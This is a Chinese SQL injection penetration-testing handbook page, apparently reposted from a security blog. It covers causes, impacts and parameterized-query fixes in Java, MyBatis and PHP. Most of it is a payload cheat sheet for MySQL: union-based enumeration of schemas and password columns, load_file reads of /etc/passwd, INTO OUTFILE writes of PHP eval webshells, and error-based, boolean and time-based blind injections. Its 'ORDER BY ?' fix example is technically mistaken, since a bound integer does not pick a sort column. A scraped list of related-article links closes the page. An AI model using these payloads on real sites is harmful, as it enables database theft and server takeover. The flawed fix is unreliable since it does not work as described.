【渗透测试实用手册】SQL注入漏洞

漏洞名称

SQL注入漏洞

漏洞地址

漏洞等级

高危

漏洞描述

SQL 注入漏洞是指攻击者通过把恶意的 SQL 语句插入到网站的输入参数中,来绕过网站的安全措施,获取敏感信息或控制网站的行为。

SQL 注入漏洞常见于网站和应用程序中,当用户在网站的表单中输入信息时,攻击者可以通过在输入中插入恶意的 SQL 语句来控制网站的行为。例如,攻击者可以通过注入恶意的 SQL 语句来登录网站的后台管理系统,或者获取数据库中的敏感信息。

为了防止 SQL 注入漏洞,网站和应用程序应该使用参数化查询来防止恶意的 SQL 语句的注入。此外,网站应该对用户的输入进行过滤和验证,并且定期检查代码以确保安全性。

SQL注入是开发者对用户输入的参数过滤不严格,通过把SQL命令插入到Web表单提交、输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,导致用户输入的数据能够影响预设查询功能的一种技术。它是一种通过在用户可控参数中注入SQL语句,破坏原有的SQL结构,达到编写程序时意料之外结果的攻击行为。

按照构造和提交SQL语句的方式进行划分,SQL注入又分为GET型注入、POST型注入和Cookies型注入。

GET 型 SQL 注入提交数据的方式为 GET , 注入点的位置在 GET 参数部分,通常发生在网页的 URL。

POST 型 SQL 注入使用 POST 方式提交数据,注入点位置在 POST 数据部分,通常发生在表单输入框中。

Cookie 型 SQL 注入HTTP 请求时通常有客户端的 Cookie, 注入点存在 Cookie 的某个字段中。

漏洞成因

Web应用程序对用户输入的数据校验处理不严或者根本没有校验,使用字符串拼接的方式构造SQL语句,同时未对用户可控参数进行足够过滤,致使用户可以拼接执行SQL命令造成SQL注入漏洞。

漏洞危害

SQL 注入通常是通过构造恶意的 SQL 语句来实现的,因此具体的代码取决于攻击者的目标和所使用的技术。一般来说,SQL 注入攻击可能包括以下几种常见方法:

登录绕过:通过在用户名和密码中插入恶意代码,绕过登录验证。例如,如果登录表单中的 SQL 语句为 SELECT * FROM users WHERE username='$username' AND password='$password',攻击者可以尝试输入 ' OR '1'='1 作为用户名,密码为空,以此绕过登录验证。

数据获取:通过构造恶意的 SQL 语句,从数据库中获取敏感信息。例如,攻击者可以尝试输入 ' UNION SELECT password FROM users WHERE username='admin 来获取数据库中管理员的密码。

数据操纵:通过插入恶意的 SQL 语句,在数据库中进行操作,从而造成损害。例如,攻击者可以尝试输入 '; UPDATE users SET password='$new_password' WHERE username='$username 来修改指定用户的密码。

其余危害:

  1. 1.在有写文件权限的情况下,直接用INTO OUTFILE或者DUMPFILE向Web目录写文件,或者写文件后结合文件包含漏洞达到代码执行的效果。

  2. 2.在有读文件权限的情况下,用load_file()函数读取网站源码和配置文件,获取敏感数据。

  3. 3.提升权限,获得更高的用户权限或者管理员权限,绕过登录,添加用户,调增用户权限等,从而拥有更多的网站功能。

  4. 4.通过注入控制数据库查询出来的数据,控制如模板、缓存等文件的内容来获取权限,或者删除、读取某些关键文件。

  5. 5.在可以执行多语句的情况下,控制整个数据库,包括控制任意数据、任意字段长度等。

  6. 6.在SQL Server这类数据库中可以直接执行系统命令。

  7. 7.数据库原有数据泄露、篡改甚至删除,甚至导致攻击者完全控制服务器。

修复方案

参考资料:

https://github.com/Tencent/secguide/blob/main/Java%E5%AE%89%E5%85%A8%E6%8C%87%E5%8D%97.md

  1. 1.Web后台系统应默认使用预编译绑定变量的形式创建sql语句,保持查询语句和数据相分离。以从本质上避免SQL注入风险。

如使用Mybatis作为持久层框架,应通过#{}语法进行参数绑定,MyBatis 会创建 PreparedStatement 参数占位符,并通过占位符安全地设置参数。

示例:JDBC

String username = request.getParameter("username");

String password = request.getParameter("password");

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";

PreparedStatement statement = connection.prepareStatement(sql);

statement.setString(1, username);

statement.setString(2, password);

ResultSet results = statement.executeQuery();

示例:Mybatis

<select id="queryRuleIdByApplicationId" parameterType="java.lang.String" resultType="java.lang.String">

SELECT rule_id FROM scan_rule_sqlmap_tab WHERE application_id = #{applicationId}

</select>

  1. 2.应避免外部输入未经过滤直接拼接到SQL语句中,或者通过Mybatis中的传入语句(即使使用,语句直接拼接外部输入也同样有风险。例如中部分参数通过{}传入SQL语句后实际执行时调用的是PreparedStatement.execute(),同样存在注入风险)。

  1. 3.对于表名、列名等无法进行预编译的场景,比如外部数据拼接到order by, group by语句中,需通过白名单的形式对数据进行校验,例如判断传入列名是否存在、升降序仅允许输入“ASC”和“DESC”、表名列名仅允许输入字符、数字、下划线等。

参考示例:

public String someMethod(boolean sortOrder){

String SQLquery = "some SQL ...order by Salary " + (sortOrder ? "ASC" : "DESC");`

...

  1. 4.Web应用程序接入数据库服务器使用的用户禁用系统管理员,用户角色应遵循最小权限原则。

  1. 5.定期审计数据库执行日志,查看是否存在应用程序正常逻辑之外的SQL语句执行痕迹。

【特别注意】:

Order By 注入修复方案

开发者在编写系统框架时无法使用预编译的办法处理这类参数,只要对输入的值进行白名单比对,基本上就能防御这种注入。

  1. 1.通过正则表达式进行字符串过滤,只允许字段中出现字母、数字、下划线。

  2. 2.通过白名单思路,使用间接对象引用。前端传递引用数字或者字符串等,用于与后端做数组映射,这样可以隐藏数据库数据字典效果,避免直接引用带来的危害。

编程代码参考:

设置一个枚举或者MAP变量,然后拿用户输入passwd进行比对返回序号,然后拿序号预编译。

int index = map.get("password");

String sql = "SELECT * FROM users WHERE password = ? ORDER BY ?";

PreparedStatement stmt = conn.prepareStatement(sql);

stmt.setString(1, password);

stmt.setInt(2, index);

ResultSet rs = stmt.executeQuery();

代码实现参考:

import java.sql.Connection;

import java.sql.PreparedStatement;

import java.util.regex.Pattern;

public class SqlInjectionFixer {

// 定义一个正则表达式,用于过滤特殊字符

private static final Pattern specialCharPattern = Pattern.compile("[^a-zA-Z0-9]");

// 使用预编译的 PreparedStatement 执行 SQL 查询

public void query(Connection connection, String userInput) throws Exception {

// 对用户输入的字符串进行过滤,去除特殊字符

String filteredInput = specialCharPattern.matcher(userInput).replaceAll("");

// 使用预编译的 PreparedStatement 执行查询,并将用户输入的字符串作为参数

PreparedStatement statement = connection.prepareStatement("SELECT * FROM table WHERE column = ?");

statement.setString(1, filteredInput);

statement.executeQuery();

}

}

这段代码使用了正则表达式来过滤用户输入的字符串中的特殊字符。然后使用预编译的 PreparedStatement 执行 SQL 查询,并将用户输入的字符串作为参数。这样,即使用户输入的字符串中包含特殊字符,也不会导致 SQL 注入漏洞的产生。

测试过程

01 联合查询

0001 利用前提

页面上有显示位

0002 优点

方便 快捷 易于利用

0003 缺点

需要显示位

0x001 判断是否存在SQL注入,同时判断注入类型 整型注入还是字符串型注入

判断注入

and 1=1 / and 1=2  回显页面不同(整型判断)

单引号'判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断)

转义符\

-1 / +1  回显下一个或者上一个页面(整型判断)

and sleep(5)  判断页面返回时间

0x002 判断显示位长度,判断列数(二分法)

order by 10

order by 20

order by 15

...

0x003 判断显示位,UNION联合查询

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

0x004 查询获取当前所用的数据库用户名 数据库名 数据库路径 操作系统版本 MySQL数据库版本

user()---数据库用户名

database()---数据库名

@@basedir---数据库路径

@@datadir---数据库里面data路径

@@version_compile_os---操作系统版本

version()---MySQL数据库版本

@@version---MySQL数据库版本

0x005 查找列出所有的数据库名称

limit一个一个打印出来数据库名字

select concat(schema_name) from information_schema.schemata limit 0,1

group_concat一次性全部显示数据库名字

select group_concat(schema_name) from information_schema.schemata

0x006 查找列出所有的表名

limit一个一个打印出来表名

select concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转换十六进制) limit 0,1

group_concat一次性全部显示表名

select group_concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转换十六进制)

0x007 查找列出所有的字段名称

limit一个一个打印出来字段名称

select concat(column_name) from information_schema.columns where table_schema=0x(数据库名称转换十六进制) and table_name=0x(表名转换十六进制) limit 0,1

group_concat一次性显示全部字段名称

select group_concat(column_name) from information_schema.columns where table_schema=0x(数据库名称转换十六进制) and table_name=0x(表名转换十六进制)

0x008 查找列出所有需要的字段数据

limit一个一个打印出来字段数据

select concat(0x7e,username,0x7e,password) from 数据库名字.表名 limit 0,1

group_concat一次性全部显示字段数据

select group_concat(0x7e,username,0x7e,password) from 数据库名字.表名

0x009 load_file()读取文件操作

0001 前提

知道文件的绝对路径

0002 能够使用union查询

对web目录有写的权限

union select 1,load_file('/etc/passwd'),3,4,5#

0x2f6574632f706173737764

union select 1,load_file(0x2f6574632f706173737764),3,4,5#

路径没有加单引号的话必须转换十六进制

要是想省略单引号的话必须转换十六进制

0x010 into outfile写入文件操作

0001 前提

文件名必须是全路径(绝对路径)

002 用户必须有写文件的权限

没有对单引号'过滤

select '<?php phpinfo(); ?>' into outfile 'C:\\Windows\\tmp\\8.php'

select '<?php @eval($_POST["admin"]); ?>' into outfile 'C:\\Windows\\tmp\\8.php'

路径里面两个反斜杠\\可以换成一个正斜杠/

PHP语句没有单引号的话,必须转换成十六进制

要是想省略单引号'的话,必须转换成十六进制

<?php eval($_POST["admin"]); ?>  或者  <?php eval($_GET["admin"]); ?>

<?php @eval($_POST["admin"]); ?>

<?php phpinfo(); ?>

<?php eval($_POST["admin"]); ?>

建议一句话PHP语句转换成十六进制

0x011 一句话木马

<?php eval($_POST["admin"]); ?>  或者  <?php eval($_GET["admin"]); ?>

<?php @eval($_POST["admin"]); ?>

<?php phpinfo(); ?>

<?php eval($_POST["admin"]); ?>

建议一句话PHP语句转换成十六进制

02 Error-based SQL injection

0001 利用前提

页面上没有显示位,但是需要输出SQL语句执行错误信息.比如mysql_error()

0002 优点

不需要显示位

0003 缺点

需要输出mysql_error的报错信息

001 通过floor报错[没有任何字符长度限制]

0001 固定句式

and (select 1 from (select count(*),concat((select (select (payload)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

0002 查询数据库的个数

select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata

0003 payload组合语句

and (select 1 from (select count(*),concat((select (select (select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

0004 获取数据库名字

select concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1

0005 payload组合语句

and (select 1 from (select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

002 通过ExtractValue报错[最多32字符]

0001 固定句式

and extractvalue(1,(payload))

或者记忆成

and extractvalue(1,(concat(0x7e,(payload),0x7e)))

0002 查询数据库版本号

and extractvalue(1,(concat(0x7e,(select @@version),0x7e)))

或者写成

and extractvalue(1,(concat(0x7e,(select version()),0x7e)))

003 通过UpdateXML报错[最多32字符]

0001 固定句式

+and updatexml(1,(payload),1)

或者记忆成

+and updatexml(1,(concat(0x7e,(payload),0x7e)),1)

0002 查询数据库版本号

+and updatexml(1,(concat(0x7e,(select @@version),0x7e)),1)

或者写成

+and updatexml(1,(concat(0x7e,(select version()),0x7e)),1)

+加号可以换成空格

03 Boolean-based blind SQL injection

0001 利用前提

页面上没有显示位,也没有输出SQL语句执行报错信息

只能通过页面返回正常不正常

0002 优点

不需要显示位,不需要报错信息

0003 缺点

速度慢,耗费大量时间

001 exists() 用于检查子查询是否只要返回一行数据,返回True或者False

and exists(select user())

?id=1' and exists(select * from information_schema.tables) --+

002 ascii() 返回字符串str的最左面字符的ASCII代码值.如果str是空字符串,返回0.如果str是NULL,返回NULL.

and ascii('r')=114

and ascii(substr((select user()),1,1))=114

003 substr() substr(string,num start,num length) string 字符串 start       起始位置 length 长度

and substr((select user()),1,1)='r'

and substr((select user()),2,1)='o'

?id=1' and exists(select * from information_schema.tables) --+

?id=1' and (select length(version()))=6 --+ //判断version()返回字符串的长度

?id=1' and (select count(distinct table_schema) from information_schema.tables)=11 --+

//判断有多少数据库,自动去除空数据库

?id=1' and (select count(distinct table_schema) from information_schema.columns)=11 --+ //判断有多少数据库,自动去除空数据库

select count(schema_name) from information_schema.schemata

?id=1' and (select count(schema_name) from information_schema.schemata)=12 --+ //判断有多少数据库,自动去除空数据库

and ascii(substr((select concat(schema_name) from information_schema.schemata limit 0,1),1,1))=105 //判断第一个库的第一个字符

04 Time-based blind SQL injection

0001 利用前提

页面没有显示位,也没有输出SQL语句执行错误信息

正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒

0002 优点

不需要显示位,不需要出错信息

0003 缺点

速度慢,耗费大量时间

001 IF(Condition,A,B)函数

当Contion为TRUE时候,返回A;当Contion为FALSE时候,返回B.

eg:if(ascii(substr('hello',1,1))=104,sleep(5),1)

可以换成双引号 if(ascii(substr("hello",1,1))=104,sleep(5),1)

and if(ascii((select @@version,1,1))=53,sleep(5),1)

if(ascii(substr((payload),1,1))=114,sleep(5),1)

if((select count(distinct table_schema) from information_schema.tables)=17,sleep(5),1)

//获取当前数据库个数

if(ascii(substr((select user(),1,1))=114,sleep(5),1) //获取当前连接数据库用户第一个字母

if(ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),1,1))=105,sleep(5),1) //判断第一个数据库第一个字符

if(ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),2,1))=110,sleep(5),1) //判断第一个数据库第一个字符

复测过程

复测结果

未修复

SQL 注入修复代码

Java 程序

SQL语句默认使用预编译并绑定变量

Web后台系统应默认使用预编译绑定变量的形式创建sql语句,保持查询语句和数据相分离。以从本质上避免SQL注入风险。

如使用Mybatis作为持久层框架,应通过#{}语法进行参数绑定,MyBatis 会创建 PreparedStatement 参数占位符,并通过占位符安全地设置参数。

import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;
/** * @author mannix */public class Main {    public static void main(String[] args) throws SQLException {        String username = request.getParameter("username");        String password = request.getParameter("password");
        String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
        PreparedStatement statement = connection.prepareStatement(sql);        statement.setString(1, username);        statement.setString(2, password);
        ResultSet results = statement.executeQuery();    }}

示例:Mybatis

<select id="queryRuleIdByApplicationId" parameterType="java.lang.String" resultType="java.lang.String">    SELECT rule_id FROM scan_rule_sqlmap_tab WHERE application_id = #{applicationId}</select>

应避免外部输入未经过滤直接拼接到SQL语句中,或者通过Mybatis中的{}传入SQL语句(即使使用PreparedStatement,SQL语句直接拼接外部输入也同样有风险。例如Mybatis中部分参数通过{}传入SQL语句后实际执行时调用的是PreparedStatement.execute(),同样存在注入风险)。

白名单过滤

对于表名、列名等无法进行预编译的场景,比如外部数据拼接到order by, group by语句中,需通过白名单的形式对数据进行校验,例如判断传入列名是否存在、升降序仅允许输入“ASC”和“DESC”、表名列名仅允许输入字符、数字、下划线等。

对输入的参数值进行白名单检查,仅允许字母、数字和下划线,使用间接对象引用的思想来修复这个漏洞。即,不直接引用数据库中的字段名,而是将字段名与一个数字或字符串进行映射,前端传递的参数值就是这个映射的数字或字符串。这样,攻击者无法获知数据库中真实的字段名,就无法构造恶意的排序参数,从而避免了注入漏洞。

定义一个 Map用来储存允许的排序列。然后,检查用户输入的排序列是否在允许的排序列中,如果不允许,则抛出一个异常。如果用户输入的排序列是允许的,则可以使用 PreparedStatement 来预编译并执行 SQL 语句,这样就可以避免 SQL 注入了。

参考示例:

import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;
/** * @author mannix */public class Main {    public static void main(String[] args) throws SQLException {        int index = map.get("password");        String sql = "SELECT * FROM users WHERE password = ? ORDER BY ?";        PreparedStatement stmt = conn.prepareStatement(sql);        stmt.setString(1, password);        stmt.setInt(2, index);        ResultSet rs = stmt.executeQuery();    }}

PHP 程序

预编译处理

<?php// 设置数据库连接信息$host = 'localhost';$dbname = 'mydb';$username = 'dbuser';$password = 'dbpass';
// 创建 PDO 对象$dbh = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
// 定义查询语句$query = 'SELECT * FROM users WHERE username = :username AND passwd = :passwd';
$stmt = $dbh->prepare($query);// 绑定参数$stmt->bindParam(':username', $username);$stmt->bindParam(':passwd', $passwd);// 执行查询语句// 创建预处理语句$stmt->execute();

*文章源于利刃信安,侵删

SQL 注入漏洞详解相关推荐

  1. SQL注入漏洞 详解

    漏洞影响 攻击者利用该漏洞可能导致 1.网页被篡改 2.数据被篡改 3. 核心数据被窃取 4. 数据库所在服务器被攻击变成傀儡主机 解决方法: 1.      过滤用户输入的内容,检查用户输入的内容中 ...

  2. Web网络安全漏洞分析,SQL注入原理详解

    本文主要为大家介绍了Web网络安全漏洞分析SQL注入的原理详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪 一.SQL注入的基础 1.1 介绍SQL注入 SQL注入就是 ...

  3. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  4. XXE实体注入漏洞详解

    本文转自行云博客https://www.xy586.top/ 文章目录 什么是XXE 原理 XXE漏洞带来的的危害 什么是 XML 寻找XXE XXE的防御 示例 什么是XXE XML Externa ...

  5. 74cms3.0安装以及cmsSQL注入漏洞详解

    下载解压到www目录并开启低版本PHP服务 访问 http://127.0.0.1/74cms3.0/install/index.php Error:Can't select MySQL databa ...

  6. php sql漏洞修复,php sql注入漏洞与修复

    出于安全考虑,需要过滤从页面传递过来的字符. 通常,用户可以通过以下接口调用数据库的内容:URL地址栏.登陆界面.留言板.搜索框等. 轻则数据遭到泄露,重则服务器被拿下. 一.SQL注入的步骤 a) ...

  7. 墨者学院SQL手工注入靶场漏洞详解

    墨者学院SQL手工注入靶场漏洞详解 目录 靶场地址 步骤详解 目录 靶场地址 该靶场由墨者学院安全工程师"墨者"所搭建,靶场环境为Nginx+PHP+MySQL,启动靶场只需1墨币 ...

  8. 张小白的渗透之路(二)——SQL注入漏洞原理详解

    SQL注入漏洞简介 乱七八糟的就不多说了,自己百度去 SQL注入原理 想要更好的学习SQL注入,那么我们就必须要深入的了解每种数据库的SQL语法及特性.下面通过一个经典的万能密码的例子带大家来拨开一下 ...

  9. mysql数据库sql注入原理_sql注入原理详解(一)

    防止SQL注入: 1.开启配置文件中的magic_quotes_gpc和magic_quotes_runtime设置 2.执行sql语句时使用addslashes进行sql语句转换 3.Sql语句书写 ...

最新文章

  1. 在LinearLayout中嵌套RelativeLayout来设置Button的位置(xml文件)
  2. JZOJ 5907. 【NOIP2018模拟10.16】轻功(qinggong)
  3. oracle 触发器登录,【学习笔记】Oracle触发器 实现指定用户登录oracle案例
  4. MariaDB 10的复制 集群 高可用搭建 大表拆分【持续更新中】
  5. Redis -- Hash(哈希) [3]
  6. [ 转载 ] Java基础14--创建线程的两个方法
  7. ARM汇编开关终端cpsie/cpsid
  8. 如何用“向上管理”搞垮一个团队?
  9. Java并发线程之线程池
  10. html 圆饼画布,html5 canvas画饼
  11. internet信息服务(IIS)管理器 在哪里?
  12. 2019年失业以后,他们都经历了什么?
  13. C# Access数据库使用
  14. 原画学习步骤,零基础一步步学原画
  15. 集丰照明|LED 的产业链由哪些部分构成?
  16. MySQL全文索引及其优劣
  17. 计算机与网络如何连接网络设置,电脑网络连接网络配置方法
  18. python 字符串 下标
  19. 怎么注销百度云服务器账号,百度网盘怎么注销账号?账号注销方法一览
  20. [回溯法] 回溯法介绍-回溯与递归的区别

热门文章

  1. nlp subword(BPE、ULM)简介
  2. 前端在线(你一定要知道的前端网站)
  3. iOS 游戏安全之 IAP 破解原理与防御
  4. MATLAB中白噪声的WGN和AWGN函数的使用以及信噪比的计算
  5. 倍加福OBE10M-18GM60SE4-V1光电传感器
  6. Decoupled head(解耦合头)和Coupled head(耦合头)
  7. log4j 系列03 -- 配置实例(主要是 appender 和 layout)
  8. 【​观察】数字化转型:不止于眼下,更在于未来
  9. 【Unity3D Shader编程】之十 深入理解Unity5中的Standard Shader(二)屏幕油画特效的实现
  10. gradle 之 zip